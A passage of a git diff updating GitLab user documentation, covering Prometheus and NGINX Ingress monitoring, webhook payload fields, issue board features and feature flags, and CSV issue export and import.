[custom dashboards](../../../operations/metrics/dashboards/index.md) and
[custom metrics](../../../operations/metrics/index.md#adding-custom-metrics).
diff --git a/doc/user/project/integrations/prometheus_library/kubernetes.md b/doc/user/project/integrations/prometheus_library/kubernetes.md
index e14c1c0f6fd..1bafa4938af 100644
--- a/doc/user/project/integrations/prometheus_library/kubernetes.md
+++ b/doc/user/project/integrations/prometheus_library/kubernetes.md
@@ -33,7 +33,7 @@ integration services must be enabled.
Prometheus needs to be deployed into the cluster and configured properly in order to gather Kubernetes metrics. GitLab supports two methods for doing so:
-- GitLab [integrates with Kubernetes](../../clusters/index.md), and can [deploy Prometheus into a connected cluster](../prometheus.md#managed-prometheus-on-kubernetes). It is automatically configured to collect Kubernetes metrics.
+- GitLab [integrates with Kubernetes](../../clusters/index.md), and can [query a Prometheus in a connected cluster](../../../clusters/integrations.md#prometheus-cluster-integration). The in-cluster Prometheus can be configured to automatically collect application metrics from your cluster.
- To configure your own Prometheus server, you can follow the [Prometheus documentation](https://prometheus.io/docs/introduction/overview/).
## Specifying the Environment
diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress.md b/doc/user/project/integrations/prometheus_library/nginx_ingress.md
index 8846aadd420..d1fe58390fe 100644
--- a/doc/user/project/integrations/prometheus_library/nginx_ingress.md
+++ b/doc/user/project/integrations/prometheus_library/nginx_ingress.md
@@ -27,28 +27,6 @@ NGINX Ingress versions prior to 0.16.0 offer an included [VTS Prometheus metrics
## Configuring NGINX Ingress monitoring
-If you have deployed NGINX Ingress using the GitLab [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors it](#about-managed-nginx-ingress-deployments).
-
-For other deployments, there is [some configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation:
-
-- NGINX Ingress should be version 0.16.0 or above, with metrics enabled.
-- NGINX Ingress should be annotated for Prometheus monitoring.
-- Prometheus should be configured to monitor annotated pods.
-
-### About managed NGINX Ingress deployments
-
-NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress).
-
-NGINX is configured for Prometheus monitoring, by setting:
-
-- `enable-vts-status: "true"`, to export Prometheus metrics.
-- `prometheus.io/scrape: "true"`, to enable automatic discovery.
-- `prometheus.io/port: "10254"`, to specify the metrics port.
-
-When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected.
-
-### Manually setting up NGINX Ingress for Prometheus monitoring
-
Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) have built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint starts running on port 10254.
Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added:
diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md
index 4752fec976c..6bdd2c64dcf 100644
--- a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md
+++ b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md
@@ -27,28 +27,6 @@ GitLab has support for automatically detecting and monitoring the Kubernetes NGI
## Configuring NGINX Ingress monitoring
-If you have deployed NGINX Ingress using the GitLab [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors](#about-managed-nginx-ingress-deployments) it.
-
-For other deployments, there is [some configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation:
-
-- NGINX Ingress should be version 0.9.0 or above, with metrics enabled.
-- NGINX Ingress should be annotated for Prometheus monitoring.
-- Prometheus should be configured to monitor annotated pods.
-
-### About managed NGINX Ingress deployments
-
-NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress).
-
-NGINX is configured for Prometheus monitoring, by setting:
-
-- `enable-vts-status: "true"`, to export Prometheus metrics.
-- `prometheus.io/scrape: "true"`, to enable automatic discovery.
-- `prometheus.io/port: "10254"`, to specify the metrics port.
-
-When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected.
-
-### Manually setting up NGINX Ingress for Prometheus monitoring
-
Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) has built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint begins running on port 10254.
Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added:
diff --git a/doc/user/project/integrations/services_templates.md b/doc/user/project/integrations/services_templates.md
index 93ce74eb735..37df48c75f8 100644
--- a/doc/user/project/integrations/services_templates.md
+++ b/doc/user/project/integrations/services_templates.md
@@ -1,67 +1,9 @@
---
-stage: Create
-group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../../admin_area/settings/project_integration_management.md'
+remove_date: '2021-09-09'
---
-# Service templates **(FREE)**
+This document was moved to [another location](../../admin_area/settings/project_integration_management.md).
-WARNING:
-Service templates are [deprecated and scheduled to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268032)
-in GitLab 14.0. Use [project integration management](#central-administration-of-project-integrations) instead.
-
-Using a service template, GitLab administrators can:
-
-- Provide default values for configuring integrations when creating new projects.
-- Bulk configure all existing projects in one step.
-
-When you enable a service template:
-
-- The defaults are applied to **all** existing projects that either:
- - Don't already have the integration enabled.
- - Don't have custom values stored for already enabled integrations.
-- Values are populated on each project's configuration page for the applicable
- integration.
-- Settings are stored at the project level.
-
-If you disable the template:
-
-- GitLab default values again become the default values for integrations on
- new projects.
-- Projects previously configured using the template continue to use those settings.
-
-If you change the template, the revised values are applied to new projects. This feature
-does not provide central administration of integration settings.
-
-## Central administration of project integrations
-
-A new set of features is being introduced in GitLab to provide more control over
-how integrations are configured at the instance, group, and project level. For
-more information, read more about:
-
-- [Setting up project integration management](../../admin_area/settings/project_integration_management.md) (introduced in GitLab 13.3)
-- [Our plans for managing integrations](https://gitlab.com/groups/gitlab-org/-/epics/2137).
-
-## Enable a service template
-
-Navigate to the **Admin Area > Service Templates** and choose the service
-template you wish to create.
-
-Recommendation:
-
-- Test the settings on some projects individually before enabling a template.
-- Copy the working settings from a project to the template.
-
-There is no "Test settings" option when enabling templates. If the settings do not work,
-these incorrect settings are applied to all existing projects that do not already have
-the integration configured. Fixing the integration then needs to be done project-by-project.
-
-## Service for external issue trackers
-
-The following image shows an example service template for Redmine.
-
-![Redmine service template](img/services_templates_redmine_example.png)
-
-For each project, you still need to configure the issue tracking
-URLs by replacing `:issues_tracker_id` in the above screenshot with the ID used
-by your external issue tracker.
+<!-- This redirect file can be deleted after <2021-09-09>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/webex_teams.md b/doc/user/project/integrations/webex_teams.md
index b2bf8e5731a..05515c58161 100644
--- a/doc/user/project/integrations/webex_teams.md
+++ b/doc/user/project/integrations/webex_teams.md
@@ -27,7 +27,8 @@ notifications:
1. Navigate to:
- **Settings > Integrations** in a project to enable the integration at the project level.
- **Settings > Integrations** in a group to enable the integration at the group level.
- - **Settings > Integrations** in the Admin Area (**{admin}**) to enable an instance-level integration.
+ - On the top bar, select **Menu >** **{admin}** **Admin**. Then, in the left sidebar,
+ select **Settings > Integrations** to enable an instance-level integration.
1. Select the **Webex Teams** integration.
1. Ensure that the **Active** toggle is enabled.
1. Select the checkboxes corresponding to the GitLab events you want to receive in Webex Teams.
diff --git a/doc/user/project/integrations/webhooks.md b/doc/user/project/integrations/webhooks.md
index d74a2bec1f6..406b1e9ba6b 100644
--- a/doc/user/project/integrations/webhooks.md
+++ b/doc/user/project/integrations/webhooks.md
@@ -34,8 +34,10 @@ Webhooks are available:
- Per project, at a project's **Settings > Webhooks** menu. **(FREE)**
- Additionally per group, at a group's **Settings > Webhooks** menu. **(PREMIUM)**
-NOTE:
-On GitLab.com, the [maximum number of webhooks and their size](../../../user/gitlab_com/index.md#webhooks) per project, and per group, is limited.
+GitLab.com enforces various [webhook limits](../../../user/gitlab_com/index.md#webhooks), including:
+
+- The maximum number of webhooks and their size, both per project, and per group.
+- The number of webhook calls per minute.
## Possible uses for webhooks
@@ -308,8 +310,10 @@ X-Gitlab-Event: Issue Hook
"duplicated_to_id": null,
"time_estimate": 0,
"total_time_spent": 0,
+ "time_change": 0,
"human_total_time_spent": null,
"human_time_estimate": null,
+ "human_time_change": null,
"weight": null,
"iid": 23,
"url": "http://example.com/diaspora/issues/23",
@@ -1161,6 +1165,7 @@ X-Gitlab-Event: Pipeline Hook
"id": 380987,
"description": "shared-runners-manager-6.gitlab.com",
"active": true,
+ "runner_type": "instance_type",
"is_shared": true,
"tags": [
"linux",
@@ -1196,7 +1201,8 @@ X-Gitlab-Event: Pipeline Hook
"id":380987,
"description":"shared-runners-manager-6.gitlab.com",
"active":true,
- "is_shared":true,
+ "runner_type": "instance_type",
+ "is_shared": true,
"tags": [
"linux",
"docker"
@@ -1230,6 +1236,7 @@ X-Gitlab-Event: Pipeline Hook
"id": 380987,
"description": "shared-runners-manager-6.gitlab.com",
"active": true,
+ "runner_type": "instance_type",
"is_shared": true,
"tags": [
"linux",
@@ -1333,6 +1340,7 @@ X-Gitlab-Event: Job Hook
},
"runner": {
"active": true,
+ "runner_type": "project_type",
"is_shared": false,
"id": 380987,
"description": "shared-runners-manager-6.gitlab.com",
diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md
index e1b6956f873..8f71d469e34 100644
--- a/doc/user/project/issue_board.md
+++ b/doc/user/project/issue_board.md
@@ -34,11 +34,11 @@ boards in the same project.
Different issue board features are available in different [GitLab tiers](https://about.gitlab.com/pricing/),
as shown in the following table:
-| Tier | Number of project issue boards | Number of [group issue boards](#group-issue-boards) | [Configurable issue boards](#configurable-issue-boards) | [Assignee lists](#assignee-lists) |
-|------------------|--------------------------------|------------------------------|---------------------------|----------------|
-| Free | Multiple | 1 | No | No |
-| Premium | Multiple | Multiple | Yes | Yes |
-| Ultimate | Multiple | Multiple | Yes | Yes |
+| Tier | Number of project issue boards | Number of [group issue boards](#group-issue-boards) | [Configurable issue boards](#configurable-issue-boards) | [Assignee lists](#assignee-lists) |
+| -------- | ------------------------------ | --------------------------------------------------- | ------------------------------------------------------- | --------------------------------- |
+| Free | Multiple | 1 | No | No |
+| Premium | Multiple | Multiple | Yes | Yes |
+| Ultimate | Multiple | Multiple | Yes | Yes |
To learn more, visit [GitLab Enterprise features for issue boards](#gitlab-enterprise-features-for-issue-boards) below.
@@ -203,7 +203,7 @@ When visiting a board, issues appear ordered in any list. You're able to change
that order by dragging the issues. The changed order is saved, so that anybody who visits the same
board later sees the reordering, with some exceptions.
-The first time a given issue appears in any board (that is, the first time a user
+The first time an issue appears in any board (that is, the first time a user
loads a board containing that issue), it is ordered in relation to other issues in that list.
The order is done according to [label priority](labels.md#label-priority).
@@ -222,6 +222,28 @@ This ordering also affects [issue lists](issues/sorting_issue_lists.md).
Changing the order in an issue board changes the ordering in an issue list,
and vice versa.
+### GraphQL-based issue boards
+
+<!-- This anchor is linked from #blocked-issues as well. -->
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285074) in GitLab 13.9.
+> - [Deployed behind a feature flag](../feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-graphql-based-issue-boards). **(FREE SELF)**
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
+
+The work-in-progress GraphQL-based boards come with these features:
+
+- [Edit more issue attributes](#edit-an-issue)
+- [View blocked issues](#blocked-issues)
+
+The GraphQL-based Issue Board is a work in progress.
+Learn more about the known issues in [epic 5596](https://gitlab.com/groups/gitlab-org/-/epics/5596).
+
## GitLab Enterprise features for issue boards
GitLab issue boards are available on the GitLab Free tier, but some
@@ -269,40 +291,12 @@ especially in combination with [assignee lists](#assignee-lists).
![issue board summed weights](img/issue_board_summed_weights_v13_6.png)
-### Group issue boards **(PREMIUM)**
+### Group issue boards
Accessible at the group navigation level, a group issue board offers the same features as a project-level board.
-It can display issues from all projects in that
-group and its descendant subgroups. Similarly, you can only filter by group labels for these
-boards. When updating milestones and labels for an issue through the sidebar update mechanism, again only
-group-level objects are available.
-
-#### GraphQL-based sidebar for group issue boards **(PREMIUM)**
-
-<!-- When the feature flag is removed, integrate this section into the above ("Group issue boards"). -->
-<!-- This anchor is linked from #blocked-issues as well. -->
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285074) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-graphql-based-sidebar-for-group-issue-boards). **(PREMIUM SELF)**
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
-
-The work-in-progress GraphQL-based sidebar for group issue boards brings better performance and the
-ability to edit issue titles in the issue sidebar.
-
-To **edit an issue's title** in the issue sidebar:
-
-1. In a group issue board, select the issue card. The issue sidebar opens on the right.
-1. Next to the issue's title, select **Edit**.
+It can display issues from all projects that fall under the group and its descendant subgroups.
-This is work in progress as of GitLab 13.9. Learn more about the known issues in
-[MR 51480](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51480).
-
-<!-- Add this at the end of the file -->
+Users on GitLab Free can use a single group issue board.
### Assignee lists **(PREMIUM)**
@@ -318,7 +312,7 @@ assignee list:
1. Search and select the user you want to add as an assignee.
Now that the assignee list is added, you can assign or unassign issues to that user
-by [dragging issues](#drag-issues-between-lists) to and from an assignee list.
+by [moving issues](#move-issues-and-lists) to and from an assignee list.
To remove an assignee list, just as with a label list, click the trash icon.
![Assignee lists](img/issue_board_assignee_lists_v13_6.png)
@@ -334,7 +328,7 @@ milestone, giving you more freedom and visibility on the issue board. To add a m
1. Select the **Milestone** tab.
1. Search and click the milestone.
-Like the assignee lists, you're able to [drag issues](#drag-issues-between-lists)
+Like the assignee lists, you're able to [drag issues](#move-issues-and-lists)
to and from a milestone list to manipulate the milestone of the dragged issues.
As in other list types, click the trash icon to remove a list.
@@ -361,7 +355,7 @@ iteration. To add an iteration list:
1. In the dropdown, select an iteration.
1. Select **Add to board**.
-Like the milestone lists, you're able to [drag issues](#drag-issues-between-lists)
+Like the milestone lists, you're able to [drag issues](#move-issues-and-lists)
to and from a iteration list to manipulate the iteration of the dragged issues.
![Iteration lists](img/issue_board_iteration_lists_v13_10.png)
@@ -399,7 +393,7 @@ appears on the right. There you can see and edit the issue's:
- Weight
- Notifications setting
-You can also [drag issues](#drag-issues-between-lists) to change their position and epic assignment:
+You can also [drag issues](#move-issues-and-lists) to change their position and epic assignment:
- To reorder an issue, drag it to the new position within a list.
- To assign an issue to another epic, drag it to the epic's horizontal lane.
@@ -442,27 +436,49 @@ status.
When you hover over the blocked icon (**{issue-block}**), a detailed information popover is displayed.
-To enable this in group issue boards, enable the [GraphQL-based sidebar](#graphql-based-sidebar-for-group-issue-boards).
-The feature is enabled by default when you use group issue boards with epic swimlanes.
+This feature is only supported when using the [GraphQL-based boards](#graphql-based-issue-boards). The feature is enabled by default regardless when you use group issue boards in epic swimlanes mode.
![Blocked issues](img/issue_boards_blocked_icon_v13_10.png)
## Actions you can take on an issue board
+- [Edit an issue](#edit-an-issue).
- [Create a new list](#create-a-new-list).
- [Remove an existing list](#remove-a-list).
- [Remove an issue from a list](#remove-an-issue-from-a-list).
- [Filter issues](#filter-issues) that appear across your issue board.
- [Create workflows](#create-workflows).
-- [Drag issues between lists](#drag-issues-between-lists).
+- [Move issues and lists](#move-issues-and-lists).
- [Multi-select issue cards](#multi-select-issue-cards).
- Drag and reorder the lists.
- Change issue labels (by dragging an issue between lists).
-- Close an issue (by dragging it to the **Done** list).
+- Close an issue (by dragging it to the **Closed** list).
If you're not able to do some of the things above, make sure you have the right
[permissions](#permissions).
+### Edit an issue
+
+You can edit an issue without leaving the board view.
+To open the right sidebar, select an issue card (not its title).
+
+You can edit the following issue attributes in the right sidebar:
+
+- Assignees
+- [Epic](../group/epics/index.md)
+- Milestone
+- Time tracking value (view only)
+- Due date
+- Labels
+- [Weight](issues/issue_weight.md)
+- Notifications setting
+
+When you use [GraphQL-based boards](#graphql-based-issue-boards), you can also edit the following issue attributes:
+
+- Title
+- [Iteration](../group/iterations/index.md)
+- Confidentiality
+
### Create a new list
Create a new list by clicking the **Add list** dropdown button in the upper right corner of the issue board.
@@ -480,12 +496,12 @@ You can now choose it to create a list.
### Remove a list
Removing a list doesn't have any effect on issues and labels, as it's just the
-list view that's removed. You can always restore it later if you need.
+list view that's removed. You can always create it again later if you need.
To remove a list from an issue board:
-1. Select the **List settings** icon (**{settings}**) on the top of the list you want to remove. The
- list settings sidebar opens on the right.
+1. On the top of the list you want to remove, select the **List settings** icon (**{settings}**).
+ The list settings sidebar opens on the right.
1. Select **Remove list**. A confirmation dialog appears.
1. Select **OK**.
@@ -516,9 +532,8 @@ The steps depend on the scope of the list:
### Filter issues
-You should be able to use the filters on top of your issue board to show only
-the results you want. It's similar to the filtering used in the issue tracker,
-as the metadata from the issues and labels is re-used in the issue board.
+You can use the filters on top of your issue board to show only
+the results you want. It's similar to the filtering used in the [issue tracker](issues/index.md).
You can filter by the following:
@@ -532,6 +547,16 @@ You can filter by the following:
- Release
- Weight
+#### Filtering issues in a group board
+
+When [filtering issues](#filter-issues) in a **group** board, keep this behavior in mind:
+
+- Milestones: you can filter by the milestones belonging to the group and its descendant groups.
+- Labels: you can only filter by the labels belonging to the group but not its descendant groups.
+
+When you edit issues individually using the right sidebar, you can additionally select the
+milestones and labels from the **project** that the issue is from.
+
### Create workflows
By reordering your lists, you can create workflows. As lists in issue boards are
@@ -570,20 +595,45 @@ to another list, the label changes and a system note is recorded.
![issue board system notes](img/issue_board_system_notes_v13_6.png)
-### Drag issues between lists
+### Move issues and lists
+
+You can move issues and lists by dragging them.
+
+Prerequisites:
-When dragging issues between lists, different behavior occurs depending on the source list and the target list.
+- A minimum of [Reporter](../permissions.md#project-members-permissions) access to a project in GitLab.
-| | To Open | To Closed | To label `B` list | To assignee `Bob` list |
-| ------------------------------ | ------------------ | ------------ | ---------------------------- | ------------------------------------- |
-| **From Open** | - | Issue closed | `B` added | `Bob` assigned |
-| **From Closed** | Issue reopened | - | Issue reopened<br/>`B` added | Issue reopened<br/>`Bob` assigned |
-| **From label `A` list** | `A` removed | Issue closed | `A` removed<br/>`B` added | `Bob` assigned |
-| **From assignee `Alice` list** | `Alice` unassigned | Issue closed | `B` added | `Alice` unassigned<br/>`Bob` assigned |
+To move an issue, select the issue card and drag it to another position in its current list or
+into a different list. Learn about possible effects in [Dragging issues between lists](#dragging-issues-between-lists).
+
+To move a list, select its top bar, and drag it horizontally.
+You can't move the **Open** and **Closed** lists, but you can hide them when editing an issue board.
+
+#### Dragging issues between lists
+
+To move an issue to another list, select the issue card and drag it onto that list.
+
+When you drag issues between lists, the result is different depending on the source list
+and the target list.
+
+| | To Open | To Closed | To label B list | To assignee Bob list |
+| ---------------------------- | -------------- | ----------- | ------------------------------ | ----------------------------- |
+| **From Open** | - | Close issue | Add label B | Assign Bob |
+| **From Closed** | Reopen issue | - | Reopen issue and add label B | Reopen issue and assign Bob |
+| **From label A list** | Remove label A | Close issue | Remove label A and add label B | Assign Bob |
+| **From assignee Alice list** | Unassign Alice | Close issue | Add label B | Unassign Alice and assign Bob |
### Multi-select issue cards
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18954) in GitLab 12.4.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18954) in GitLab 12.4.
+> - [Placed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61955) behind a [feature flag](../feature_flags.md), disabled by default in GitLab 14.0.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-multi-selecting-issue-cards). **(FREE SELF)**
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
You can select multiple issue cards, then drag the group to another position within the list, or to
another list. This makes it faster to reorder many issues at once.
@@ -626,10 +676,14 @@ A few things to remember:
by default. If you have more than 20 issues, start scrolling down and the next
20 appear.
-## Enable or disable GraphQL-based sidebar for group issue boards **(PREMIUM SELF)**
+### Enable or disable GraphQL-based issue boards **(FREE SELF)**
-GraphQL-based sidebar for group issue boards is under development and not ready for production use.
-It is deployed behind a feature flag that is **disabled by default**.
+NOTE:
+When enabling GraphQL-based issue boards, you must also enable the
+[new add list form](#enable-or-disable-new-add-list-form).
+
+GraphQL-based issue boards is not ready for production use.
+It is deployed behind a feature flag that is **disabled by default** as of GitLab 13.12.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
can enable it.
@@ -685,3 +739,22 @@ To disable it:
```ruby
Feature.disable(:iteration_board_lists)
```
+
+### Enable or disable multi-selecting issue cards **(FREE SELF)**
+
+Multi-selecting issue cards is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:board_multi_select)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:board_multi_select)
+```
diff --git a/doc/user/project/issues/confidential_issues.md b/doc/user/project/issues/confidential_issues.md
index 25357a1db0b..ed15d7a2e63 100644
--- a/doc/user/project/issues/confidential_issues.md
+++ b/doc/user/project/issues/confidential_issues.md
@@ -77,11 +77,11 @@ least [Reporter access](../../permissions.md#project-members-permissions). Howev
confidential issues, but can only view the ones that they created themselves.
Confidential issues are also hidden in search results for unprivileged users.
-For example, here's what a user with Maintainer and Guest access sees in the
-project's search results respectively.
+For example, here's what a user with the [Maintainer role](../../permissions.md) and Guest access
+sees in the project's search results respectively.
-| Maintainer access | Guest access |
-| :-----------: | :----------: |
+| Maintainer role | Guest access |
+|:---------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------|
| ![Confidential issues search by maintainer](img/confidential_issues_search_master.png) | ![Confidential issues search by guest](img/confidential_issues_search_guest.png) |
## Merge Requests for Confidential Issues
diff --git a/doc/user/project/issues/csv_export.md b/doc/user/project/issues/csv_export.md
index 5c95665230a..29adf396d4d 100644
--- a/doc/user/project/issues/csv_export.md
+++ b/doc/user/project/issues/csv_export.md
@@ -4,41 +4,46 @@ group: unassigned
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Export Issues to CSV
+# Export issues to CSV **(FREE)**
> Moved to GitLab Free in 12.10.
-Issues can be exported as CSV from GitLab and are sent to your default notification email as an attachment.
+You can export issues as CSV files from GitLab, which are sent to your default
+notification email address as an attachment.
-## Overview
+**Export Issues to CSV** enables you and your team to export all the data
+collected from issues into a **[comma-separated values](https://en.wikipedia.org/wiki/Comma-separated_values)** (CSV)
+file, which stores tabular data in plain text.
-**Export Issues to CSV** enables you and your team to export all the data collected from issues into
-a **[comma-separated values](https://en.wikipedia.org/wiki/Comma-separated_values)** (CSV) file,
-which stores tabular data in plain text.
+> _CSVs are a handy way of getting data from one program to another where one
+program cannot read the other ones normal output._ [Ref](https://www.quora.com/What-is-a-CSV-file-and-its-uses)
-> _CSVs are a handy way of getting data from one program to another where one program cannot read the other ones normal output._ [Ref](https://www.quora.com/What-is-a-CSV-file-and-its-uses)
+CSV files can be used with any plotter or spreadsheet-based program, such as
+Microsoft Excel, Open Office <!-- vale gitlab.Spelling = NO --> Calc, <!-- vale gitlab.Spelling = NO -->,
+or Google Sheets.
-CSV files can be used with any plotter or spreadsheet-based program, such as Microsoft Excel,
-Open Office <!-- vale gitlab.Spelling = NO --> Calc, <!-- vale gitlab.Spelling = NO --> or Google Spreadsheets.
+Here are some of the uses of exporting issues as CSV files:
-## Use cases
-
-Among numerous use cases for exporting issues for CSV, we can name a few:
-
-- Make a snapshot of issues for offline analysis or to communicate with other teams who may not be in GitLab
-- Create diagrams, graphs, and charts from the CSV data
-- Present the data in any other format for auditing or sharing reasons
-- Import the issues elsewhere to a system outside of GitLab
-- Long-term issues' data analysis with multiple snapshots created along the time
-- Use the long-term data to gather relevant feedback given in the issues, and improve your product based on real metrics
+- Make a snapshot of issues for offline analysis or to communicate with other
+ teams who may not be in GitLab.
+- Create diagrams, graphs, and charts from the CSV data.
+- Present the data in any other format for auditing or sharing reasons.
+- Import the issues elsewhere to a system outside of GitLab.
+- Long-term issues' data analysis with multiple snapshots created along the
+ time.
+- Use the long-term data to gather relevant feedback given in the issues, and
+ improve your product based on real metrics.
## Choosing which issues to include
-After selecting a project, from the issues page you can narrow down which issues to export using the search bar, along with the All/Open/Closed tabs. All issues returned are exported, including those not shown on the first page.
+After selecting a project, from the issues page you can narrow down which
+issues to export using the search bar, along with the All/Open/Closed tabs. All
+issues returned are exported, including those not shown on the first page.
![CSV export button](img/csv_export_button_v12_9.png)
-GitLab asks you to confirm the number of issues and email address for the export, after which the email is prepared.
+GitLab asks you to confirm the number of issues and email address for the
+export, after which the email is prepared.
![CSV export modal dialog](img/csv_export_modal.png)
@@ -48,33 +53,41 @@ Exported issues are always sorted by `Issue ID`.
## Format
-Data is encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. The first row contains the headers, which are listed in the following table along with a description of the values:
-
-| Column | Description |
-|---------|-------------|
-| Issue ID | Issue `iid` |
-| URL | A link to the issue on GitLab |
-| Title | Issue `title` |
-| State | `Open` or `Closed` |
-| Description | Issue `description` |
-| Author | Full name of the issue author |
-| Author Username | Username of the author, with the `@` symbol omitted |
-| Assignee | Full name of the issue assignee |
+Data is encoded with a comma as the column delimiter, with `"` used to quote
+fields if needed, and newlines to separate rows. The first row contains the
+headers, which are listed in the following table along with a description of
+the values:
+
+| Column | Description |
+|-------------------|-------------|
+| Issue ID | Issue `iid` |
+| URL | A link to the issue on GitLab |
+| Title | Issue `title` |
+| State | `Open` or `Closed` |
+| Description | Issue `description` |
+| Author | Full name of the issue author |
+| Author Username | Username of the author, with the `@` symbol omitted |
+| Assignee | Full name of the issue assignee |
| Assignee Username | Username of the author, with the `@` symbol omitted |
-| Confidential | `Yes` or `No` |
-| Locked | `Yes` or `No` |
-| Due Date | Formatted as `YYYY-MM-DD` |
-| Created At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` |
-| Updated At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` |
-| Milestone | Title of the issue milestone |
-| Weight | Issue weight |
-| Labels | Title of any labels joined with a `,` |
-| Time Estimate | [Time estimate](../time_tracking.md#estimates) in seconds |
-| Time Spent | [Time spent](../time_tracking.md#time-spent) in seconds |
-| Epic ID | ID of the parent epic **(ULTIMATE)**, introduced in 12.7 |
-| Epic Title | Title of the parent epic **(ULTIMATE)**, introduced in 12.7 |
+| Confidential | `Yes` or `No` |
+| Locked | `Yes` or `No` |
+| Due Date | Formatted as `YYYY-MM-DD` |
+| Created At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` |
+| Updated At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` |
+| Milestone | Title of the issue milestone |
+| Weight | Issue weight |
+| Labels | Title of any labels joined with a `,` |
+| Time Estimate | [Time estimate](../time_tracking.md#estimates) in seconds |
+| Time Spent | [Time spent](../time_tracking.md#time-spent) in seconds |
+| Epic ID | ID of the parent epic **(ULTIMATE)**, introduced in 12.7 |
+| Epic Title | Title of the parent epic **(ULTIMATE)**, introduced in 12.7 |
## Limitations
- Export Issues to CSV is not available at the Group's Issues List.
-- As the issues are sent as an email attachment, there is a limit on how much data can be exported. Currently this limit is 15MB to ensure successful delivery across a range of email providers. If this limit is reached we suggest narrowing the search before export, perhaps by exporting open and closed issues separately.
+- Issues are sent as an email attachment, with a 15 MB export limit to ensure
+ successful delivery across a range of email providers. If you reach the limit,
+ we suggest narrowing the search before export, perhaps by exporting open and
+ closed issues separately.
+- CSV files are plain text files. This means that the exported CSV file doesn't
+ contain any issue attachments.
diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md
index de7a36a4886..02a4f6a4384 100644
--- a/doc/user/project/issues/csv_import.md
+++ b/doc/user/project/issues/csv_import.md
@@ -4,7 +4,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Importing issues from CSV
+# Importing issues from CSV **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23532) in GitLab 11.7.
diff --git a/doc/user/project/issues/design_management.md b/doc/user/project/issues/design_management.md
index 2a003e68a73..e0eb35d1e49 100644
--- a/doc/user/project/issues/design_management.md
+++ b/doc/user/project/issues/design_management.md
@@ -48,7 +48,7 @@ If the requirements are not met, the **Designs** tab displays a message to the u
Files uploaded must have a file extension of either `png`, `jpg`, `jpeg`,
`gif`, `bmp`, `tiff`, `ico`, `webp`, or `svg`.
-Support for [PDF](https://gitlab.com/gitlab-org/gitlab/issues/32811) is planned for a future release.
